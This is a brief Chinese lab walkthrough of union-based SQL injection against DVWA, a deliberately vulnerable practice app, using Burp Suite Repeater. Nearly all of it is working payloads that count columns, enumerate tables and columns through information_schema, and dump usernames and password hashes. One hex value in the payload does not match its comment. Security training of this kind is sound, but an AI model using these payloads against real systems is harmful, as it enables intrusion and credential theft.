修改难度等级
使用burpsuite将抓到的数据包转发到repeater模块
(burpsuite使用前需要将浏览器设置代理,不会的另外找教程)
判断是int还是str类型,显然是int类型
用order by关键字进行数据表中列数的判断
1 order by 1,2 //正常显示
1 order by 1,2,3 //报错,所以是两列
1 and 1=2 union select 1,database() //联合注入获取数据库名
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x64767761
//其中0x64767761即将数据库名dvwa转为十六进制,得到数据库表名guestbook和users。
1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x75736572
//其中的0x7573657273即将表名为users转为十六进制,得到数据表列名user和password
1 and 1=2 union select group_concat(user),group_concat(password) from users
//以此获取用户信息